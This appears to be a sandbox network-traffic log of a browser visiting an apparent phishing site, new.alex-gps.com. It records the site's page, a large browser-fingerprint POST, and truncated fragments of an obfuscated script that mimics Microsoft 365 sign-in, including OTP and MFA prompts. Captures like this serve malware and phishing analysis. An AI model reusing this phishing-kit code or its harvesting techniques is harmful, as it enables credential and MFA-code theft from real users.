2024-10-23 22:26:42 UTC	731	OUT	GET /m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N HTTP/1.1 Host: new.alex-gps.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:43 UTC	192	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:42 GMT Server: Apache/2.4.59 (Debian) Vary: Accept-Encoding Content-Length: 4713 Connection: close Content-Type: text/html; charset=UTF-8
2024-10-23 22:26:43 UTC	4713	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 6e 6f 73 63 72 69 70 74 3e 59 6f 75 20 6e 65 65 64 20 74 6f 20 65 6e 61 62 6c 65 20 4a 61 76 61 53 63 72 69 70 74 20 74 6f 20 72 75 6e 20 74 68 69 73 20 61 70 70 2e 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 0a 20 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> </head> <body> <noscript>You need to enable JavaScript to run this app.</noscript> <div id="root">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49711	201.102.105.236	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:44 UTC	973	OUT	POST /m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N HTTP/1.1 Host: new.alex-gps.com Connection: keep-alive Content-Length: 136287 Cache-Control: max-age=0 sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://new.alex-gps.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:44 UTC	16384	OUT	Data Raw: 64 61 74 61 3d 25 37 42 25 32 32 73 63 72 65 65 6e 25 32 32 25 33 41 25 37 42 25 32 32 61 76 61 69 6c 57 69 64 74 68 25 32 32 25 33 41 31 32 38 30 25 32 43 25 32 32 61 76 61 69 6c 48 65 69 67 68 74 25 32 32 25 33 41 39 38 34 25 32 43 25 32 32 77 69 64 74 68 25 32 32 25 33 41 31 32 38 30 25 32 43 25 32 32 68 65 69 67 68 74 25 32 32 25 33 41 31 30 32 34 25 32 43 25 32 32 63 6f 6c 6f 72 44 65 70 74 68 25 32 32 25 33 41 32 34 25 32 43 25 32 32 70 69 78 65 6c 44 65 70 74 68 25 32 32 25 33 41 32 34 25 32 43 25 32 32 61 76 61 69 6c 4c 65 66 74 25 32 32 25 33 41 30 25 32 43 25 32 32 61 76 61 69 6c 54 6f 70 25 32 32 25 33 41 30 25 32 43 25 32 32 6f 72 69 65 6e 74 61 74 69 6f 6e 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 53 63 72 65 65 6e 4f 72 69 65 Data Ascii: data=%7B%22screen%22%3A%7B%22availWidth%22%3A1280%2C%22availHeight%22%3A984%2C%22width%22%3A1280%2C%22height%22%3A1024%2C%22colorDepth%22%3A24%2C%22pixelDepth%22%3A24%2C%22availLeft%22%3A0%2C%22availTop%22%3A0%2C%22orientation%22%3A%22%5Bobject+ScreenOrie
2024-10-23 22:26:44 UTC	16384	OUT	Data Raw: 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 44 65 66 61 75 6c 74 43 6f 6e 74 72 6f 6c 6c 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 57 72 69 74 61 62 6c 65 53 74 72 65 61 6d 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 57 6f 72 6b 65 72 25 32 32 25 33 41 25 32 32 Data Ascii: B+%5Bnative+code%5D+%7D%22%2C%22WritableStreamDefaultController%22%3A%22function+WritableStreamDefaultController%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22WritableStream%22%3A%22function+WritableStream%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22Worker%22%3A%22
2024-10-23 22:26:44 UTC	16384	OUT	Data Raw: 73 65 72 76 65 72 53 69 7a 65 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 53 69 7a 65 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 45 6e 74 72 79 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 45 6e 74 72 79 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 52 65 73 69 7a 65 4f 62 73 65 72 76 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 Data Ascii: serverSize%22%3A%22function+ResizeObserverSize%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22ResizeObserverEntry%22%3A%22function+ResizeObserverEntry%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22ResizeObserver%22%3A%22function+ResizeObserver%28%29+%7B+%5Bnative+code
2024-10-23 22:26:44 UTC	16384	OUT	Data Raw: 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 61 72 71 75 65 65 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 61 72 71 75 65 65 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4d 61 70 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4d 61 70 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 48 54 4d 4c 4c 69 6e 6b 45 6c 65 6d 65 6e 74 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 48 54 4d 4c 4c 69 6e 6b 45 6c 65 6d 65 6e 74 25 32 38 25 32 39 2b 25 37 42 2b Data Ascii: D+%7D%22%2C%22HTMLMarqueeElement%22%3A%22function+HTMLMarqueeElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22HTMLMapElement%22%3A%22function+HTMLMapElement%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22HTMLLinkElement%22%3A%22function+HTMLLinkElement%28%29+%7B+
2024-10-23 22:26:44 UTC	16384	OUT	Data Raw: 66 65 72 69 6e 67 25 32 32 25 33 41 74 72 75 65 25 32 43 25 32 32 57 65 62 41 73 73 65 6d 62 6c 79 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 57 65 62 41 73 73 65 6d 62 6c 79 25 35 44 25 32 32 25 32 43 25 32 32 41 62 73 6f 6c 75 74 65 4f 72 69 65 6e 74 61 74 69 6f 6e 53 65 6e 73 6f 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 41 62 73 6f 6c 75 74 65 4f 72 69 65 6e 74 61 74 69 6f 6e 53 65 6e 73 6f 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 41 63 63 65 6c 65 72 6f 6d 65 74 65 72 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 41 63 63 65 6c 65 72 6f 6d 65 74 65 72 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 Data Ascii: fering%22%3Atrue%2C%22WebAssembly%22%3A%22%5Bobject+WebAssembly%5D%22%2C%22AbsoluteOrientationSensor%22%3A%22function+AbsoluteOrientationSensor%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22Accelerometer%22%3A%22function+Accelerometer%28%29+%7B+%5Bnative+code%5
2024-10-23 22:26:44 UTC	16384	OUT	Data Raw: 65 53 70 61 63 65 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 58 52 43 50 55 44 65 70 74 68 49 6e 66 6f 72 6d 61 74 69 6f 6e 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 58 52 43 50 55 44 65 70 74 68 49 6e 66 6f 72 6d 61 74 69 6f 6e 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 58 52 43 61 6d 65 72 61 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 58 52 43 61 6d 65 72 61 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 58 52 44 65 70 74 68 49 6e 66 6f 72 6d 61 74 69 6f 6e 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 Data Ascii: eSpace%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22XRCPUDepthInformation%22%3A%22function+XRCPUDepthInformation%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22XRCamera%22%3A%22function+XRCamera%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22XRDepthInformation%22%3A%22funct
2024-10-23 22:26:44 UTC	16384	OUT	Data Raw: 65 6e 74 25 32 32 25 32 43 25 32 32 48 54 4d 4c 54 61 62 6c 65 43 61 70 74 69 6f 6e 45 6c 65 6d 65 6e 74 25 32 32 25 32 43 25 32 32 48 54 4d 4c 53 74 79 6c 65 45 6c 65 6d 65 6e 74 25 32 32 25 32 43 25 32 32 48 54 4d 4c 53 70 61 6e 45 6c 65 6d 65 6e 74 25 32 32 25 32 43 25 32 32 48 54 4d 4c 53 6f 75 72 63 65 45 6c 65 6d 65 6e 74 25 32 32 25 32 43 25 32 32 48 54 4d 4c 53 6c 6f 74 45 6c 65 6d 65 6e 74 25 32 32 25 32 43 25 32 32 48 54 4d 4c 53 65 6c 65 63 74 45 6c 65 6d 65 6e 74 25 32 32 25 32 43 25 32 32 48 54 4d 4c 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 25 32 32 25 32 43 25 32 32 48 54 4d 4c 51 75 6f 74 65 45 6c 65 6d 65 6e 74 25 32 32 25 32 43 25 32 32 48 54 4d 4c 50 72 6f 67 72 65 73 73 45 6c 65 6d 65 6e 74 25 32 32 25 32 43 25 32 32 48 54 4d 4c 50 72 65 Data Ascii: ent%22%2C%22HTMLTableCaptionElement%22%2C%22HTMLStyleElement%22%2C%22HTMLSpanElement%22%2C%22HTMLSourceElement%22%2C%22HTMLSlotElement%22%2C%22HTMLSelectElement%22%2C%22HTMLScriptElement%22%2C%22HTMLQuoteElement%22%2C%22HTMLProgressElement%22%2C%22HTMLPre
2024-10-23 22:26:44 UTC	16384	OUT	Data Raw: 69 6e 41 72 72 61 79 25 35 44 25 32 32 25 32 43 25 32 32 6d 69 6d 65 54 79 70 65 73 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 4d 69 6d 65 54 79 70 65 41 72 72 61 79 25 35 44 25 32 32 25 32 43 25 32 32 70 64 66 56 69 65 77 65 72 45 6e 61 62 6c 65 64 25 32 32 25 33 41 74 72 75 65 25 32 43 25 32 32 77 65 62 6b 69 74 54 65 6d 70 6f 72 61 72 79 53 74 6f 72 61 67 65 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 44 65 70 72 65 63 61 74 65 64 53 74 6f 72 61 67 65 51 75 6f 74 61 25 35 44 25 32 32 25 32 43 25 32 32 77 65 62 6b 69 74 50 65 72 73 69 73 74 65 6e 74 53 74 6f 72 61 67 65 25 32 32 25 33 41 25 32 32 25 35 42 6f 62 6a 65 63 74 2b 44 65 70 72 65 63 61 74 65 64 53 74 6f 72 61 67 65 51 75 6f 74 61 25 35 44 25 32 32 25 32 43 25 32 32 Data Ascii: inArray%5D%22%2C%22mimeTypes%22%3A%22%5Bobject+MimeTypeArray%5D%22%2C%22pdfViewerEnabled%22%3Atrue%2C%22webkitTemporaryStorage%22%3A%22%5Bobject+DeprecatedStorageQuota%5D%22%2C%22webkitPersistentStorage%22%3A%22%5Bobject+DeprecatedStorageQuota%5D%22%2C%22
2024-10-23 22:26:44 UTC	5215	OUT	Data Raw: 25 32 32 25 32 43 25 32 32 71 75 65 72 79 43 6f 6d 6d 61 6e 64 45 6e 61 62 6c 65 64 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 71 75 65 72 79 43 6f 6d 6d 61 6e 64 45 6e 61 62 6c 65 64 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 71 75 65 72 79 43 6f 6d 6d 61 6e 64 49 6e 64 65 74 65 72 6d 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 71 75 65 72 79 43 6f 6d 6d 61 6e 64 49 6e 64 65 74 65 72 6d 25 32 38 25 32 39 2b 25 37 42 2b 25 35 42 6e 61 74 69 76 65 2b 63 6f 64 65 25 35 44 2b 25 37 44 25 32 32 25 32 43 25 32 32 71 75 65 72 79 43 6f 6d 6d 61 6e 64 53 74 61 74 65 25 32 32 25 33 41 25 32 32 66 75 6e 63 74 69 6f 6e 2b 71 75 65 72 79 43 6f 6d 6d 61 6e 64 53 74 61 Data Ascii: %22%2C%22queryCommandEnabled%22%3A%22function+queryCommandEnabled%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22queryCommandIndeterm%22%3A%22function+queryCommandIndeterm%28%29+%7B+%5Bnative+code%5D+%7D%22%2C%22queryCommandState%22%3A%22function+queryCommandSta
2024-10-23 22:26:45 UTC	191	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:44 GMT Server: Apache/2.4.59 (Debian) Vary: Accept-Encoding Content-Length: 364 Connection: close Content-Type: text/html; charset=UTF-8
2024-10-23 22:26:45 UTC	364	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 69 64 3d 27 68 74 6d 6c 27 20 73 74 69 3d 27 56 6c 5a 4f 52 6c 56 71 51 54 52 4e 56 45 46 35 54 55 52 4a 4d 46 5a 55 54 54 42 4e 56 45 46 33 54 30 52 52 64 77 3d 3d 27 20 76 69 63 3d 27 27 20 6c 61 6e 67 3d 27 65 6e 27 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 73 6f 63 6b 65 74 2e 69 6f 2f 34 2e 37 2e 35 2f 73 6f 63 6b 65 74 2e 69 6f 2e 6d 69 6e 2e 6a 73 27 20 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 32 68 75 61 5a 76 4f 52 39 69 44 7a 48 71 73 6c 71 77 70 52 38 37 69 73 45 6d 72 66 78 71 79 57 4f 46 37 68 72 37 42 59 36 4b 47 30 2b 68 56 4b 4c 6f 45 58 4d 50 55 4a 77 33 79 6e 57 75 68 4f 27 20 63 72 Data Ascii: <!DOCTYPE html><html id='html' sti='VlZORlVqQTRNVEF5TURJMFZUTTBNVEF3T0RRdw==' vic='' lang='en'><head> <script src='https://cdn.socket.io/4.7.5/socket.io.min.js' integrity='sha384-2huaZvOR9iDzHqslqwpR87isEmrfxqyWOF7hr7BY6KG0+hVKLoEXMPUJw3ynWuhO' cr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49712	201.102.105.236	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:45 UTC	597	OUT	GET /m/jsv.js HTTP/1.1 Host: new.alex-gps.com Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:45 UTC	282	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:45 GMT Server: Apache/2.4.59 (Debian) Last-Modified: Tue, 08 Oct 2024 19:11:56 GMT ETag: "1f745-623fbe92bf700" Accept-Ranges: bytes Content-Length: 128837 Vary: Accept-Encoding Connection: close Content-Type: text/javascript
2024-10-23 22:26:45 UTC	7910	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 30 78 62 32 37 36 28 29 20 7b 0a 20 20 20 20 63 6f 6e 73 74 20 5f 30 78 35 65 64 39 34 34 20 3d 20 5b 27 68 72 65 66 27 2c 20 27 2e 70 68 6f 6e 65 6f 74 70 54 65 78 74 27 2c 20 27 72 65 61 64 79 53 74 61 74 65 27 2c 20 27 23 70 6c 61 79 6d 65 5f 62 69 67 27 2c 20 27 40 69 6f 6e 6f 73 2e 27 2c 20 27 23 70 6c 61 79 6d 65 27 2c 20 27 72 65 73 69 7a 65 27 2c 20 27 73 32 63 5f 72 65 73 74 61 72 74 27 2c 20 27 2e 6c 6f 61 64 65 72 78 42 6c 6f 63 6b 31 31 27 2c 20 27 73 32 63 27 2c 20 27 63 6f 6d 70 6c 65 74 65 27 2c 20 27 4f 33 36 35 27 2c 20 27 75 72 6c 28 5c 78 32 37 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 62 61 63 Data Ascii: function _0xb276() { const _0x5ed944 = ['href', '.phoneotpText', 'readyState', '#playme_big', '@ionos.', '#playme', 'resize', 's2c_restart', '.loaderxBlock11', 's2c', 'complete', 'O365', 'url(\x27https://aadcdn.msauth.net/shared/1.0/content/images/bac
2024-10-23 22:26:45 UTC	8000	IN	Data Raw: 32 30 66 61 2d 70 6c 61 79 5c 78 32 32 3e 3c 2f 69 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 69 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 61 2d 73 6f 6c 69 64 5c 78 32 30 66 61 2d 72 6f 74 61 74 65 2d 6c 65 66 74 5c 78 32 32 3e 3c 2f 69 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 69 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 61 Data Ascii: 20fa-play\x22></i>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<i\x20class=\x22fa-solid\x20fa-rotate-left\x22></i>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<i\x20class=\x22fa
2024-10-23 22:26:45 UTC	8000	IN	Data Raw: 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 64 69 73 70 6c 61 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 32 32 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 6e 6f 50 61 73 73 6d 73 61 70 70 42 6c 6f 63 6b 5c 78 32 30 77 33 2d 61 6e 69 6d 61 74 65 2d 72 69 67 68 74 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 69 6d 67 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 66 6f 72 6d 4c 6f 67 6f 5c 78 32 32 5c 78 32 30 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 6d 69 63 72 6f 73 6f 66 74 5f Data Ascii: 0\x20<div\x20style=\x22display:\x20none;\x22\x20class=\x22noPassmsappBlock\x20w3-animate-right\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<img\x20class=\x22formLogo\x22\x20src=\x22https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_
2024-10-23 22:26:45 UTC	8000	IN	Data Raw: 6e 67 5c 78 32 32 5c 78 32 30 73 76 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 61 39 63 63 32 38 32 34 65 66 33 35 31 37 62 36 63 34 31 36 30 64 63 66 38 66 66 37 64 34 31 30 2e 73 76 67 5c 78 32 32 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 64 61 74 61 2d 62 69 6e 64 3d 5c 78 32 32 69 6d 67 53 72 63 5c 78 32 32 5c 78 32 30 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c Data Ascii: ng\x22\x20svgsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20data-bind=\x22imgSrc\x22\x20src=\x22https://l
2024-10-23 22:26:45 UTC	8000	IN	Data Raw: 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 21 2d 2d 5c 78 32 30 42 4f 49 4c 45 52 54 45 58 54 5c 78 32 30 2d 2d 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 67 72 61 79 42 6f 78 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 62 6f 69 6c 65 72 5c 78 32 30 74 65 78 74 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c Data Ascii: 0\x20\x20\x20\x20\x20\x20\x20...\x20BOILERTEXT\x20-->\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22grayBox\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20boiler\x20text\x0a\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20</div>\
2024-10-23 22:26:45 UTC	8000	IN	Data Raw: 3a 5c 78 32 30 31 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 74 6f 70 3a 5c 78 32 30 2d 32 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 5c 78 32 30 2d 31 30 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 77 69 64 74 68 3a 5c 78 32 30 38 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 68 65 69 67 68 74 3a 5c 78 32 30 38 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c Data Ascii: 